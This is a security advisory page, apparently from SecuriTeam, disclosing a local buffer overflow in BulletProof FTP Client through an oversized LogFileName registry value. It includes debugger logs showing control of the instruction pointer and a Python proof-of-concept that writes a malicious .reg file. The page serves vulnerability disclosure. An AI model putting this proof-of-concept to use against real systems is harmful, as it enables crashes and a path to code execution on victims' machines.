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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	BulletProof FTP Client 2010 - Buffer Overflow Vulnerability 4 Jan. 2013    Summary A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on BulletProof FTP Client.   Credit: The information has been provided by Julien Ahrens. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * BPFTP Client Software (Windows) v2010.75.0.76 & 2011.x A Buffer Overflow vulnerability is detected on BulletProof FTP Client v2010.75.0.76 (current version). The vulnerability is located in the main executeable bpftpclient.exe. During the start of the application the value LogFileName from the registry key [HKEY_CURRENT_USER/Software/BulletProof Software/BulletProof FTP Client 2010/Options] is read. When inserting an oversized value to the registry value a buffer overflow is triggered. The victim only needs to start the application. --- Debugger Logs --- # 42424242: The instruction at 0x42424242 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 2264) # Registers: # EAX 00000000 # ECX 42424242 # EDX 7C9132BC ntdll.7C9132BC # EBX 00000000 # ESP 0012F594 # EBP 0012F5B4 # ESI 00000000 # EDI 00000000 # EIP 42424242 # Stack: # 0012F588 00140198 # 0012F58C 7C91D80A ntdll.7C91D80A # 0012F590 7C9601E1 ntdll.7C9601E1 # 0012F594 7C9132A8 RETURN to ntdll.7C9132A8 # 0012F598 0012F67C # 0012F59C 0012FBCC ASCII ``AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC`` # 0012F5A0 0012F698 # Dump: # 0012FBB4 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBBC 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBC4 41 41 41 41 41 41 41 41 AAAAAAAA # 0012FBCC 41 41 41 41 42 42 42 42 AAAABBBB # 0012FBD4 43 43 43 43 43 43 43 43 CCCCCCCC # 0012FBDC 43 43 43 43 43 43 43 43 CCCCCCCC # 0012FBE4 43 43 43 43 43 43 43 43 CCCCCCCC Picture(s): ../1.png ../2.png The vulnerability can be exploited by local attackers. Successful exploitation requires no user inter action. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: BulletProof FTP Client v2010.75.0.76 Local Buffer Overflow # Version: 2010.75.0.76 # Date: 2012-03-11 # Author: Julien Ahrens # Homepage: http://www.inshell.net # Software Link: http://www.bpftp.com/ # Tested on: Windows XP SP3 Professional German # Notes: - # Howto: Import Reg -> Start App file="poc.reg" junk1="\x41" * 448 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\BulletProof Software\BulletProof FTP Client 2010\Options]\n" poc=poc + "\"LogFileName\"=\"" + junk1 + boom + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; Disclosure Timeline: 2012-03-14: Vendor Notification 2012-03-16: Vendor Response/Feedback 2012-04-02: Public or Non-Public Disclosure  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Moodle WebDav Repository Plaintext Password Disclosure Vulnerability QuickShare File Share Directory Traversal Vulnerability ELinks Security Bypass Vulnerability BlazeDVD PLF Exploit DEP/ASLR Bypass (MSF) Vulnerability WebKit Web Audio Channel Handling Race Condition Buffer Overflow Vulnerability Verax NMS Console AMF Response Plaintext Connection Information Disclosure Vulnerability Simeji for Android Application Handling Information Disclosure Vulnerability Ptlib Entity Expansion Recursion XML Nested Entity Handling DoS Vulnerability ownCloud /core/settings/ajax/setquota.php quota Parameter XSS Vulnerability Nitro Pro PDF File Handling DoS Vulnerability MailOrderWorks Dispatch Order Multiple Field XSS Vulnerability Linux Kernel Dccp Subsystem Ccid Null Pointer Dereference Local DoS Vulnerability ISC DHCP libdns Unspecified Remote Memory Exhaustion DoS Vulnerability GroundWork Monitor Enterprise Noma Component Multiple XSS Vulnerability GroundWork Monitor Enterprise Foundation Admin Interface XSS Vulnerability Google Chrome Isolated Web Sites Process Handling Issue Vulnerability Google Android On Samsung Unprivileged Arbitrary SMS Message Sending Vulnerability FFmpeg Libavcodec/error Function NULL Pointer Dereference DoS Vulnerability Commons Groups Module for Drupal Group Access Restriction Bypass Vulnerability Cfingerd RFC1413 (Ident) Client Remote Overflow Vulnerability  Featured Articles Mozilla Multiple Product HTML Editor Function Use-after-free Arbitrary Code Execution Vulnerability Exim with Dovecot Typical Misconfiguration Leads to Remote Command Execution Vulnerability IBM InfoSphere Information Server Unspecified Arbitrary Site Redirect Vulnerability Cisco Unity Express /Web/SA2/ScriptList.do gui_pagenotableData Parameter XSS Vulnerability Supportworks ITSM SQL Injection Vulnerability WirelessFiles for iPad/iPhone Multiple File Extension Upload Arbitrary Script Code Execution Vulnerability IBM InfoSphere Information Server Import Export Manager Path Subversion Arbitrary DLL Injection Code Execution Vulnerability CommentLuv Plugin for WordPress /wp-admin/admin-ajax.php _ajax_nonce Parameter XSS Vulnerability ownCloud Multiple Script Multiple Administrator Action CSRF Vulnerability IBM Multiple Product XSS Vulnerability TLS / DTLS Protocol CBC-Mode Ciphersuite Distinguishing Attack Information Disclosure Weakness Vulnerability JBoss Enterprise Application Platform / JBoss Enterprise Web Platform JMX Invoker Roll Restriction Weakness Vulnerability Google AD Sync Tool Exposure Of Sensitive Information Vulnerability VMware Multiple Product vmci.sys VMCI Control Code Handling Local Privilege Escalation Vulnerability Cisco Unity Express /Web/SA/SaveConfiguration.do Multiple Action CSRF Vulnerability AdPeeps /adpeeps_servlet.php Bannertext Parameter XSS Vulnerability Oracle Application Framework Diagnostic Mode Bypass Vulnerability Nero MediaHome NMMediaServer.dll Long Request Line Off-By-One Overflow Vulnerability Samba Samba Web Administration Tool (SWAT) Manipulation CSRF Vulnerability Adobe Flash Player And AIR Context Dependent Attacker Buffer Overflow Vulnerability
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